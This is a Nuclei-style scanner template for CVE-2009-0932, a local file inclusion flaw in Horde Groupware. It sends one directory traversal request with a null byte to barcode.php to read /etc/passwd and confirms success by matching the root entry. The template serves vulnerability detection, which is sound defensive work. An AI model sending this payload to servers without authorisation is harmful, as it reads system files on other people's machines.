id: CVE-2009-0932

info:
  name: Horde/Horde Groupware - Local File Inclusion
  author: pikpikcu
  severity: medium
  description: Horde before 3.2.4 and 3.3.3 and Horde Groupware before 1.1.5 are susceptible to local file inclusion in framework/Image/Image.php because it allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the Horde_Image driver name.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Horde/Horde Groupware.
  reference:
    - https://www.exploit-db.com/exploits/16154
    - http://cvs.horde.org/co.php/groupware/docs/groupware/CHANGES?r=1.28.2.5
    - https://nvd.nist.gov/vuln/detail/CVE-2009-0932?cpeVersion=2.2
    - http://cvs.horde.org/co.php/horde/docs/CHANGES?r=1.515.2.413.2.5
    - http://cvs.horde.org/co.php/horde/docs/CHANGES?r=1.515.2.503
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:N
    cvss-score: 6.4
    cve-id: CVE-2009-0932
    cwe-id: CWE-22
    epss-score: 0.05612
    epss-percentile: 0.85882
    cpe: cpe:2.3:a:debian:horde:3.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: debian
    product: horde
  tags: cve,cve2009,horde,lfi,traversal,edb,debian

http:
  - method: GET
    path:
      - "{{BaseURL}}/horde/util/barcode.php?type=../../../../../../../../../../../etc/./passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100be6e47c26b931add067f2e02c8d58dc5369135f3e54a5ecea0badcef7713210b022064d3dda047863eea37beedb95097f2815b35c9b29f2113109d9ac18069f904b7:922c64590222798bb761d5b6d8e72950